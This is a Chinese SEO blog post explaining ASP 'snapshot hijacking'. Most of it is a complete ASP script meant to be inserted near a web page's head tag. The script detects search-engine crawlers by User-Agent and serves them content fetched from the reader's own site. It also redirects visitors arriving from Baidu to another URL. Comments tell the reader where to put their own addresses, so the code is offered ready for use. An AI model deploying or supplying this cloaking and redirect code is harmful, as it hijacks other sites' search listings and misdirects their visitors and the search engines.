网站优化 asp网站快照劫持详解

2016-12-07作者:上饶SEO来源:广丰电商网次阅读

 asp快照劫持:

       劫持代码一般放在<head>标签的上面或者下面。

 

asp快照劫持存放位置
asp快照劫持存放位置

       if GetBot="baidu" then

       url="http://www.126.com/"    (这句话的意思是:这里放你需要百度抓取快照的网站,也就是说你想劫持这个网站的快照上显示你的网站内容,所以这里需要放上你自己的网站)

       wstr=getHTTPPage(url)

       body=wstr

       response.write ""&body&""

       response.end

       elseif GetBot="google" then

       url="http://www.126.com/"       (同上,只不过是百度换成了谷歌)

       wstr=getHTTPPage(url)

       body=wstr

       response.write ""&body&""

       response.end

       end if

       if instr(Request.ServerVariables("http_referer"),"www.baidu.com")>0 then

       response.redirect("http://www.163.com/")         (这里放上你希望跳转的网站地址)

       end if

       %>

 

asp快照劫持完整的代码:

<%

function GetBot()

'查询蜘蛛

dim s_agent

GetBot=""

s_agent=Request.ServerVariables("HTTP_USER_AGENT") '关键判断语句

if instr(1,s_agent,"googlebot",1) >0 then

GetBot="google"

end if

if instr(1,s_agent,"msnbot",1) >0 then

GetBot="MSN"

end if

if instr(1,s_agent,"slurp",1) >0 then

GetBot="Yahoo"

end if

if instr(1,s_agent,"baiduspider",1) >0 then

GetBot="baidu"

end if

if instr(1,s_agent,"sohu-search",1) >0 then

GetBot="Sohu"

end if

if instr(1,s_agent,"lycos",1) >0 then

GetBot="Lycos"

end if

if instr(1,s_agent,"robozilla",1) >0 then

GetBot="Robozilla"

end if

end function

Function getHTTPPage(Path)

t = GetBody(Path)

getHTTPPage=BytesToBstr(t,"GB2312")'编码

End function

Function Newstring(wstr,strng)

Newstring=Instr(lcase(wstr),lcase(strng))

if Newstring<=0 then Newstring=Len(wstr)

End Function

Function GetBody(url)

on error resume next

Set Retrieval = CreateObject("Microsoft.XMLHTTP")

With Retrieval

.Open "Get", url, False, "", ""

.Send

GetBody = .ResponseBody

End With

Set Retrieval = Nothing

End Function

Function BytesToBstr(body,Cset)

dim objstream

set objstream = Server.CreateObject("adodb.stream")

objstream.Type = 1

objstream.Mode =3

objstream.Open

objstream.Write body

objstream.Position = 0

objstream.Type = 2

objstream.Charset = Cset

BytesToBstr = objstream.ReadText

objstream.Close

set objstream = nothing

End Function

Dim wstr,str,url,start,over,dtime

if GetBot="baidu" then

url="http://www.126.com/"

wstr=getHTTPPage(url)

body=wstr

response.write ""&body&""

response.end

elseif GetBot="google" then

url="http://www.126.com/"

wstr=getHTTPPage(url)

body=wstr

response.write ""&body&""

response.end

end if

if instr(Request.ServerVariables("http_referer"),"www.baidu.com")>0 then

response.redirect("http://www.163.com/")

end if

%>

 

凡本站注明“本站”或“投稿”的所有文章,版权均属于广丰电子商务网或投稿人,未经本站授权不得转载、摘编或利用其它方式使用上述作品。本站已授权使用的作品,应在授权范围内使用,并注明“来源:广丰电子商务网”并附上链接。违反上述声明者,本站将追究其相关法律责任。

编辑:广丰电商网 关键词: asp快照劫持 快照劫持

相关阅读:

网友评论

随机推荐

图文聚集

热门排行

最新文章

新浪微博 腾讯微博 RSS订阅